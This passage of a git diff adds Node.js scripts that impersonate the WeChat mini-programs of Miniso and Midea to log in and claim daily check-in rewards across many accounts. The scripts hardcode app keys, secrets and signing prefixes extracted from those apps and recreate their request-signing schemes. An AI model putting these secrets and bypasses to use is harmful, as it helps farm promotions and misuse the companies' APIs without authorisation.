skey/openid/unionid/uid/mobile +签到 基址 https://api-saas.miniso.com/task-manage-platform + 业务头带 content-skey/content-openid/content-unionid/content-uid + time/nonce/signature + 每请求 signature = MD5(<签名基串> + time + nonce).大写(无密钥,纯拼接校验) + 查询 GET /api/activity/signInTask/taskDetail?activityId=18 base="signInTaskDetail"+activityId + -> data.code==200,data.todaySignInFinishFlag(1=已签)/signInFinishDays/taskId + 签到 POST /api/activity/signInTask/award/receive body={activityId:"18",taskId} base=JSON.stringify(body) + -> data.code==200 成功 +AES key/iv、SIGN_PREFIX、activityId 均为该小程序固定应用常量(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("名创优品签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "mcyp"; +const MINI_APP_ID = "wx2a212470bade49bf"; +const AES_KEY_HEX = "0f9f8b1e791f754d2ded9dfb38a4b628"; +const AES_IV_HEX = "31323334353637383930313233343535"; +const SIGN_PREFIX = "#storeexpress1.0#ffe232&t%4df!67sx55eas#"; +const LOGIN_URL = "https://cdn-storeexpress.miniso.com/wechat/login"; +const API_HOST = "https://api-saas.miniso.com"; +const DEFAULT_STORE_ID = "Z6XV"; +const ACTIVITY_ID = 18; +const TOKEN_CACHE_FILE = path.join(__dirname, "mcyp_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 220) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function md5Upper(str) { + return crypto.createHash("md5").update(String(str), "utf8").digest("hex").toUpperCase(); +} +function aesEncryptHex(plainText) { + const key = Buffer.from(AES_KEY_HEX, "hex"); + const iv = Buffer.from(AES_IV_HEX, "hex"); + const cipher = crypto.createCipheriv("aes-128-cbc", key, iv); + return Buffer.concat([cipher.update(Buffer.from(plainText, "utf8")), cipher.final()]).toString("hex"); +} +function genLoginNonce() { + const chars = "1234567890qwertyuiopasdfghjklzxc"; + let r = ""; + for (let i = 0; i < 32; i++) r += chars.charAt(Math.floor(Math.random() * chars.length)); + return r; +} +function genNonce() { + const chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + let r = ""; + for (let i = 0; i < 32; i++) r += chars.charAt(Math.floor(Math.random() * chars.length)); + return r; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.skey = ""; + this.openid = ""; + this.unionid = ""; + this.uid = ""; + this.storeId = DEFAULT_STORE_ID; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const time = Date.now().toString(); + const nonce = genLoginNonce(); + const signature = md5Upper(`${SIGN_PREFIX}${time}#${nonce}`); + const plainBody = JSON.stringify({ code, appid: MINI_APP_ID, isreturnuserinfo: 1 }); + const encryptedBody = aesEncryptHex(plainBody); + const headers = { + "content-type": "application/json", + version: "storeexpress1.0", + "tenant-code": "MINISO", + "can-flash-send": "false", + "content-sceneid": "1027", + "x-client-source": "MINISO_WX_MINI", + "content-longitude": "[object Undefined]", + "content-latitude": "[object Undefined]", + "content-weappcode": "", + "content-appcode": "", + "content-uid": "", + "content-skey": "", + "content-openid": "", + "content-unionid": "", + nonce, time, signature, + charset: "utf-8", + referer: `https://servicewechat.com/${MINI_APP_ID}/1110/page-frame.html`, + "user-agent": UA, + }; + const res = await axios.request({ + method: "POST", url: LOGIN_URL, data: encryptedBody, headers, + timeout: 20000, validateStatus: () => true, + }); + const body = res.data || {}; + if (Number(body.code) === 200 && body.data && body.data.skey) { + const d = body.data; + this.skey = String(d.skey); + this.openid = String(d.openid || ""); + this.unionid = String(d.unionid || ""); + this.uid = String(d.uid || ""); + this.storeId = DEFAULT_STORE_ID; + const cache = readCache(); + cache[this.account.openid] = { + skey: this.skey, openid: this.openid, unionid: this.unionid, + uid: this.uid, storeId: this.storeId, updatedAt: new Date().toISOString(), + }; + writeCache(cache); + this.log("登录成功"); + return; + } + // 登录返回但无 skey:区分「未注册/需先激活会员」与普通失败 + const msg = body.message || body.msg || short(body); + if (Number(body.code) !== 200 && /注册|未激活|会员|绑定|授权/.test(String(msg))) { + this.unregistered = true; + throw new Error(`NO_ACCOUNT:${msg}`); + } + throw new Error(`登录失败: ${msg}`); + } + bizHeaders() { + return { + host: "api-saas.miniso.com", + "content-type": "application/json", + version: "storeexpress1.0", + "tenant-code": "MINISO", + tenant: "MINISO", + "x-mi-version": "5.1.64", + "x-client-source": "MINISO_WX_MINI", + "content-weappcode": "52", + "content-appcode": "51", + "content-sceneid": "1256", + "content-pagetype": "%E6%BD%AC%E7%8E%A9%E7%AD%BE%E5%88%B0%E9%A1%B5%E9%9D%A2", + "content-pagename": "%E6%BD%AC%E7%8E%A9%E7%AD%BE%E5%88%B0%E9%A1%B5%E9%9D%A2", + "x-mi-store-id": this.storeId, + "content-skey": this.skey, + "content-openid": this.openid, + "content-unionid": this.unionid, + "content-uid": this.uid, + "content-latitude": "[object Undefined]", + "content-longitude": "[object Undefined]", + "x-mi-city": "", + "user-agent": UA, + accept: "*/*", + referer: `https://servicewechat.com/${MINI_APP_ID}/1084/page-frame.html`, + "can-flash-send": "true", + }; + } + async bizGet(url, signBase) { + const time = Date.now(); + const nonce = genNonce(); + const headers = { ...this.bizHeaders(), time, nonce, signature: md5Upper(String(signBase) + time + nonce) }; + const res = await axios.request({ method: "GET", url, headers, timeout: 20000, validateStatus: () => true }); + return res.data || {}; + } + async bizPostJson(url, bodyObj) { + const time = Date.now(); + const nonce = genNonce(); + const payload = JSON.stringify(bodyObj); + const headers = { ...this.bizHeaders(), time, nonce, signature: md5Upper(payload + time + nonce) }; + const res = await axios.request({ method: "POST", url, data: payload, headers, timeout: 20000, validateStatus: () => true }); + return res.data || {}; + } + isAuthErr(resp) { + const code = Number(resp && resp.code); + const msg = String((resp && (resp.message || resp.msg)) || ""); + if ([401, 403, 4001, 4003, 10401].includes(code)) return true; + return /token|登录|未授权|失效|过期|未登录|鉴权|skey|会话/i.test(msg); + } + async getSignInTaskDetail() { + const url = `${API_HOST}/task-manage-platform/api/activity/signInTask/taskDetail?activityId=${ACTIVITY_ID}`; + return this.bizGet(url, "signInTaskDetail" + ACTIVITY_ID); + } + async completeSignIn(taskId) { + const url = `${API_HOST}/task-manage-platform/api/activity/signInTask/award/receive`; + return this.bizPostJson(url, { activityId: String(ACTIVITY_ID), taskId }); + } + async sign(retry = true) { + const detail = await this.getSignInTaskDetail(); + if (Number(detail.code) !== 200) { + if (retry && this.isAuthErr(detail)) { + this.log("会话失效,重新登录后重试"); + this.skey = ""; + await this.login(); + return this.sign(false); + } + const msg = detail.message || detail.msg || short(detail); + if (/注册|未激活|会员|绑定/.test(String(msg))) { this.unregistered = true; throw new Error(`NO_ACCOUNT:${msg}`); } + return this.log(`❌ 获取签到任务详情失败: ${msg}`); + } + const task = detail.data || {}; + if (task.taskId === undefined || task.taskId === null) { + return this.log(`❌ 未拿到签到任务(taskId),活动可能已结束或 activityId(${ACTIVITY_ID}) 需更新: ${short(detail)}`); + } + if (task.todaySignInFinishFlag === 1 || task.todaySignInFinishFlag === true) { + return this.log(`✅ 今日已签到,连续签到 ${task.signInFinishDays ?? "?"} 天`); + } + const nextDay = (task.signInFinishDays || 0) + 1; + const res = await this.completeSignIn(task.taskId); + if (Number(res.code) === 200) { + return this.log(`✅ 签到成功,第 ${nextDay} 天`); + } + const msg = res.message || res.msg || short(res); + if (/已签|签到过|重复|已完成|已领取/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + if (retry && this.isAuthErr(res)) { + this.log("会话失效,重新登录后重试"); + this.skey = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.skey && cached.skey) { + this.skey = cached.skey; + this.openid = cached.openid || ""; + this.unionid = cached.unionid || ""; + this.uid = cached.uid || ""; + this.storeId = cached.storeId || DEFAULT_STORE_ID; + this.log("使用缓存token"); + return; + } + if (!this.skey) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没在名创优品注册/激活会员(${String(e.message).replace(/^NO_ACCOUNT:/, "")}),先在小程序里登录一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/mdhy.js b/wxapp/mdhy.js new file mode 100644 index 00000000..716022e0 --- /dev/null +++ b/wxapp/mdhy.js @@ -0,0 +1,340 @@ +/* +------------------------------------------ +@Description: 美的会员(M-VIP) - 微信小程序静默登录 + 每日签到 +cron: 32 8 * * * +------------------------------------------ +变量名:mdhy +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx49a622805968d156,登录 mcsp.midea.com / 业务 mvip.midea.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录,无需手机号/加密数据) + +登录 POST https://mcsp.midea.com/api/cms_bff/mcsp-uc-mvip-bff/app/login/wx/mini/getLoginInfo.do + 头 appId/appsecret/apikey/miniAppVersion(美的 API 网关应用级常量,非个人凭证) + 体 {jsCode:code, loginMode:1, platformType:"WX_MEIDIDAOJIA_MINI", _timeStamp} + -> 深挖 ucAccessToken(accessToken/token/...);uid/sukey 取自 set-cookie 或响应字段 + 既无 ucAccessToken 又无 uid/sukey cookie = 未在美的会员注册/绑定 -> ⚠️ +签到1 GET https://mvip.midea.cn/my/score/create_daily_score 头 cookie:uid=;sukey= + -> errcode==0 成功;errmsg 含「已签/已经」= 今日已签 +签到2 POST https://mvip.midea.cn/mscp_mscp/api/cms_api/activity-center-im-service/im-svr/im/game/page/sign + 头 ucAccessToken/apiKey(应用级常量);体 restParams{gameId:22,actvId,rootCode:MDHY,appCode:MDHY_XCX} + -> code/status/resultCode ∈ {0,200,success} 成功;msg 含「已签」= 今日已签 +积分 GET https://mvip.midea.cn/next/mucuserinfo/getmucuserinfo 头 cookie -> data.userinfo.VipGrow(仅展示) +LOGIN_APP_ID/SECRET/API_KEY、SIGN2_API_KEY、actvId 均为该小程序固定应用常量(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("美的会员签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "mdhy"; +const MINI_APP_ID = "wx49a622805968d156"; +const PAGE_VERSION = "554"; +const LOGIN_APP_ID = "ee07f27990db48109efcccd322d3a873"; +const LOGIN_APP_SECRET = "2646746f07bb46199aff49002e6dce81"; +const LOGIN_API_KEY = "b6db9d5cf2d449538d3a0dd5d77b2e35"; +const SIGN2_API_KEY = "3660663068894a0d9fea574c2673f3c0"; +const LOGIN_URL = + "https://mcsp.midea.com/api/cms_bff/mcsp-uc-mvip-bff/app/login/wx/mini/getLoginInfo.do"; +const MVIP_BASE = "https://mvip.midea.cn"; +const EP_SIGN1 = "/my/score/create_daily_score"; +const EP_SIGN2 = + "/mscp_mscp/api/cms_api/activity-center-im-service/im-svr/im/game/page/sign"; +const EP_USERINFO = "/next/mucuserinfo/getmucuserinfo"; +const TOKEN_CACHE_FILE = path.join(__dirname, "mdhy_token_cache.json"); + +// 签到2 活动级常量(原脚本硬编码,非个人凭证) +const SIGN2_GAME_ID = 22; +const SIGN2_ACTV_ID = "401671388248692763"; +const SIGN2_ROOT_CODE = "MDHY"; +const SIGN2_APP_CODE = "MDHY_XCX"; + +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 300) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function mask(v) { + v = String(v || ""); + if (v.length <= 12) return v; + return `${v.slice(0, 6)}...${v.slice(-6)}`; +} +// 深挖响应中的目标字段(第一个非空命中) +function findValueDeep(obj, keys) { + if (!obj || typeof obj !== "object") return null; + for (const key of keys) { + if (obj[key] !== undefined && obj[key] !== null && obj[key] !== "") return obj[key]; + } + for (const value of Object.values(obj)) { + if (value && typeof value === "object") { + const found = findValueDeep(value, keys); + if (found) return found; + } + } + return null; +} +// 从 set-cookie 头里挑 uid/sukey +function extractCookies(headers) { + const setCookie = headers && headers["set-cookie"]; + if (!setCookie) return ""; + const arr = Array.isArray(setCookie) ? setCookie : [setCookie]; + const parts = []; + for (const item of arr) { + const first = String(item).split(";")[0]; + if (/^(uid|sukey)=/i.test(first)) parts.push(first); + } + return parts.length ? parts.join(";") + ";" : ""; +} +function chinaDateParts() { + const d = new Date(Date.now() + 8 * 3600 * 1000); + return { y: d.getUTCFullYear(), m: d.getUTCMonth() + 1, d: d.getUTCDate() }; +} +// 通用「传输层成功码」判定(code/errcode ∈ 0/200/000000/success ...) +function isSuccessCode(resp) { + if (!resp || typeof resp !== "object") return false; + for (const k of ["code", "errcode", "errno", "status", "resultCode", "ret", "success"]) { + if (resp[k] === undefined) continue; + const v = resp[k]; + if (v === 0 || v === 200 || v === true) return true; + if (typeof v === "string" && (/^0+$/.test(v) || /^(200|success|ok)$/i.test(v))) return true; + } + return false; +} +function respMsg(resp) { + if (!resp || typeof resp !== "object") return short(resp); + return resp.errmsg || resp.msg || resp.message || resp.retInfo || resp.desc || short(resp); +} +function isAlreadySigned(msg) { + return /已签|签到过|重复|已经签|已完成|今日已/.test(String(msg || "")); +} +function isAuthErr(resp) { + const msg = respMsg(resp); + const code = resp && (resp.code ?? resp.errcode ?? resp.status); + if ([401, 403, 4001, 4003, 10401, "401", "403"].includes(code)) return true; + return /token|登录|未授权|失效|过期|未登录|鉴权|会话|请重新/i.test(String(msg)); +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; // ucAccessToken + this.cookie = ""; // uid=..;sukey=..; + this.signed = false; + this.unregistered = false; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await axios.request({ + method: "POST", + url: LOGIN_URL, + headers: { + Host: "mcsp.midea.com", + appId: LOGIN_APP_ID, + appsecret: LOGIN_APP_SECRET, + apikey: LOGIN_API_KEY, + userKey: "", + miniAppVersion: "3.0.269", + "X-Tingyun": "c=M|cJgYzP0tKW8", + xweb_xhr: "1", + "User-Agent": UA, + "Content-Type": "application/json", + Accept: "*/*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept-Language": "zh-CN,zh;q=0.9", + }, + data: { + jsCode: code, + loginMode: 1, + platformType: "WX_MEIDIDAOJIA_MINI", + _timeStamp: Date.now(), + }, + timeout: 20000, + validateStatus: () => true, + }); + const data = res.data; + this.log(`登录返回字段: ${Object.keys(data || {}).join(",") || short(data)}`); + if (process.env.MDHY_DEBUG) this.log(`[DEBUG登录raw] ${short(data, 900)}`); + + const tk = findValueDeep(data, ["ucAccessToken", "accessToken", "token", "userToken", "access_token"]); + this.token = tk ? String(tk) : ""; + + let cookie = extractCookies(res.headers); + if (!cookie) { + const uid = findValueDeep(data, ["uid", "userId", "userCode"]); + const sukey = findValueDeep(data, ["sukey", "suKey"]); + if (uid && sukey) cookie = `uid=${uid};sukey=${sukey};`; + } + this.cookie = cookie || ""; + + if (!this.token && !this.cookie) { + // 登录接口通了但既无 token 又无 uid/sukey:该微信号未在美的会员注册/绑定 + this.unregistered = true; + throw new Error(`NO_ACCOUNT:${respMsg(data)}`); + } + + this.log(`登录成功 token=${this.token ? mask(this.token) : "无"} cookie=${this.cookie ? mask(this.cookie) : "无"}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, cookie: this.cookie, updatedAt: new Date().toISOString() }; + writeCache(cache); + } + async getUserInfo() { + if (!this.cookie) return null; + try { + const { data } = await axios.request({ + method: "GET", + url: `${MVIP_BASE}${EP_USERINFO}`, + headers: { + Host: "mvip.midea.cn", Connection: "keep-alive", charset: "utf-8", + cookie: this.cookie, "User-Agent": UA, "Content-Type": "application/json", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + }, + timeout: 20000, validateStatus: () => true, + }); + if (Number(data?.errcode) === 0) { + const info = data?.data?.userinfo || {}; + return { points: info.VipGrow ?? "?", mobile: info.Mobile || "-" }; + } + } catch (e) {} + return null; + } + // 签到1:老版美的会员 H5 每日积分(uid/sukey cookie)——本 appid 登录一般不下发该 cookie,有则顺带签 + async sign1() { + if (!this.cookie) return; // 无 cookie 静默跳过(本 appid 走 ucAccessToken 的签到2) + const { data } = await axios.request({ + method: "GET", + url: `${MVIP_BASE}${EP_SIGN1}`, + headers: { + "content-type": "application/x-www-form-urlencoded; charset=UTF-8", + cookie: this.cookie, "User-Agent": UA, + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + }, + timeout: 20000, validateStatus: () => true, + }); + if (Number(data?.errcode) === 0) { this.signed = true; return this.log("✅ 签到1(每日积分)成功"); } + const msg = respMsg(data); + if (isAlreadySigned(msg)) { this.signed = true; return this.log(`✅ 签到1 今日已签(${msg})`); } + this.log(`签到1未成功: ${msg}`); + } + // 签到2:互动营销游戏中心每日签到(ucAccessToken)——本 appid 的主签到 + async sign2() { + if (!this.token) return { skip: true }; + const { data } = await axios.request({ + method: "POST", + url: `${MVIP_BASE}${EP_SIGN2}`, + headers: { + "User-Agent": UA, Accept: "application/json, text/plain, */*", + "Content-Type": "application/json", ucAccessToken: this.token, + intercept: "1", apiKey: SIGN2_API_KEY, Origin: MVIP_BASE, + "X-Requested-With": "com.tencent.mm", + Referer: `${MVIP_BASE}/mscp_weixin/apps/h5-pro-wx-interaction-marketing/`, + "Accept-Language": "zh-CN,zh;q=0.9", + }, + data: { + headParams: { language: "CN", originSystem: "MCSP", timeZone: "", userCode: "", tenantCode: "", userKey: "TEST_", transactionId: "" }, + pagination: null, + restParams: { gameId: SIGN2_GAME_ID, actvId: SIGN2_ACTV_ID, rootCode: SIGN2_ROOT_CODE, appCode: SIGN2_APP_CODE, imUserId: "", uid: "", openId: "", unionId: "" }, + }, + timeout: 20000, validateStatus: () => true, + }); + const msg = respMsg(data); + if (process.env.MDHY_DEBUG) this.log(`[DEBUG签到2raw] ${short(data, 900)}`); + if (isSuccessCode(data)) { + // code 000000/操作成功 = 请求被接受;data.result 区分「本次新签」与「今日已签(幂等)」 + const r = (data && data.data) || {}; + if (r.result === true || r.rewardSendSuccess === true) { + this.signed = true; + const days = r.consecutiveDays ?? r.accumulativeDays; + return this.log(`✅ 签到2成功${days != null ? `,连续 ${days} 天` : ""}`); + } + this.signed = true; + return this.log(`✅ 签到2 今日已签到(${msg})`); + } + if (isAlreadySigned(msg)) { this.signed = true; return this.log(`✅ 签到2 今日已签(${msg})`); } + return { authErr: isAuthErr(data), msg }; + } + async sign(retry = true) { + await this.sign1(); + if (this.cookie) await $.wait(1500, 3000); + const r2 = await this.sign2(); + if (r2 && r2.skip && !this.signed) return this.log("⚠️ 无 ucAccessToken 且无 cookie,无法签到"); + if (r2 && r2.authErr && retry) { + this.log("会话失效,重新登录后重试签到"); + this.token = ""; this.cookie = ""; + await this.login(); + return this.sign(false); + } + if (r2 && r2.msg && !this.signed) this.log(`⚠️ 签到2未成功: ${r2.msg}`); + const ui = await this.getUserInfo(); + if (ui) this.log(`当前成长值/积分: ${ui.points}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && !this.cookie && (cached.token || cached.cookie)) { + this.token = cached.token || ""; + this.cookie = cached.cookie || ""; + this.log("使用缓存token"); + return; + } + if (!this.token && !this.cookie) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没在美的会员注册/绑定(${String(e.message).replace(/^NO_ACCOUNT:/, "")}),先在小程序里登录一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/mdxtn.js b/wxapp/mdxtn.js new file mode 100644 index 00000000..21abd947 --- /dev/null +++ b/wxapp/mdxtn.js @@ -0,0 +1,289 @@ +/* +------------------------------------------ +@Description: 美的小天鹅 - 微信小程序静默登录 + 每日任务/签到 +cron: 12 11 * * * +------------------------------------------ +变量名:mdxtn +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx33856a6b31431c6e): +(迁移自 YYB-GO 系脚本,原脚本 code 登录,无个人凭证) + +登录三步: + 1) wcs 取 wx code + 2) POST https://mcsp.midea.com/api/cms_bff/mcsp-uc-mvip-bff/app/login/wx/mini/getLoginInfo.do + body {jsCode:code, platformType:"WX_LS_MINI", loginMode:1} + -> code=="000000",data.ucAccessToken(+openId/unionId/c4aUid,均由服务端下发) + 3) POST https://littleswanmp.midea.com/api/auth/login/uc_token + Content-Type x-www-form-urlencoded,头 ucAccessToken=,体 uc_token= + -> code==200,content.access_token(=后续 Bearer token) + +业务头:Content-Type application/json / ucAccessToken= / authorization: Bearer +每日任务中心(含签到等日常任务): + 主任务 POST /api/web/mobile/swanPrize/queryPrizeRuleUserComplete {ruleType:"1",ruleClass:"3"} + -> content[](isUserCompleted 标记);未完成: beginTask{ruleId} -> completeTask{ruleId} + 精灵任务 POST /api/web/mobile/avatarRule/queryPrizeRuleUserComplete {ruleTypeId:"1",ruleClassId:"2",seq:0} + -> content[];未完成: avatarRule/beginTask -> avatarRule/completeTask + 日常动作 swan/feedGrass、swan/userGainWorkPrize、swan/swanStartWorking(喂草/领工作奖励/开工) +成功码:code==200(部分任务接口 0/"0"/"200" 亦可);已完成任务标记 isUserCompleted。 +(无写死个人 token/手机号;ucAccessToken/access_token 均运行时由 code 换取) +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("美的小天鹅"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "mdxtn"; +const MINI_APP_ID = "wx33856a6b31431c6e"; +const PAGE_VERSION = "1"; +const UC_LOGIN_URL = + "https://mcsp.midea.com/api/cms_bff/mcsp-uc-mvip-bff/app/login/wx/mini/getLoginInfo.do"; +const BASE_URL = "https://littleswanmp.midea.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "mdxtn_token_cache.json"); +const TOKEN_TTL_MS = 2 * 3600 * 1000; // ucAccessToken 约 2 小时 +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 240) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function isOkCode(res) { + if (!res || typeof res !== "object") return false; + const c = res.code; + return c === 200 || c === 0 || c === "200" || c === "0" || c === "000000" || res.success === true; +} +function urlencode(obj) { + return Object.keys(obj) + .map((k) => `${encodeURIComponent(k)}=${encodeURIComponent(obj[k])}`) + .join("&"); +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.ucToken = ""; + this.token = ""; // littleswan access_token (Bearer) + this.done = 0; + this.signHit = false; // 是否命中"签到"类任务 + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + bizHeaders() { + return { + "Content-Type": "application/json", + ucAccessToken: this.ucToken, + authorization: `Bearer ${this.token}`, + "User-Agent": UA, + Accept: "*/*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + }; + } + async post(url, data, headers) { + const res = await axios.request({ + method: "POST", url, data, headers, timeout: 20000, validateStatus: () => true, + }); + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + // Step 2: code -> ucAccessToken + const ucRes = await this.post( + UC_LOGIN_URL, + { jsCode: code, platformType: "WX_LS_MINI", loginMode: 1 }, + { "Content-Type": "application/json", "User-Agent": UA, Accept: "*/*" } + ); + if (String(ucRes?.code) !== "000000" || !ucRes?.data) { + throw new Error(`获取 ucAccessToken 失败: ${ucRes?.msg || ucRes?.message || short(ucRes)}`); + } + this.ucToken = String(ucRes.data.ucAccessToken || ""); + if (!this.ucToken) throw new Error(`登录未返回 ucAccessToken: ${short(ucRes)}`); + + // Step 3: ucAccessToken -> littleswan access_token + const atRes = await this.post( + `${BASE_URL}/api/auth/login/uc_token`, + urlencode({ uc_token: this.ucToken }), + { + "Content-Type": "application/x-www-form-urlencoded", + ucAccessToken: this.ucToken, + "User-Agent": UA, + Accept: "*/*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + } + ); + if (!isOkCode(atRes)) { + const msg = atRes?.chnDesc || atRes?.msg || atRes?.message || short(atRes); + if (/未注册|注册|会员|not.*regist|no.*user|绑定/i.test(String(msg))) { + this.unregistered = true; + throw new Error(`NO_ACCOUNT:${msg}`); + } + throw new Error(`获取 access_token 失败: ${msg}`); + } + this.token = String(atRes?.content?.access_token || atRes?.data?.access_token || ""); + if (!this.token) { + this.unregistered = true; + throw new 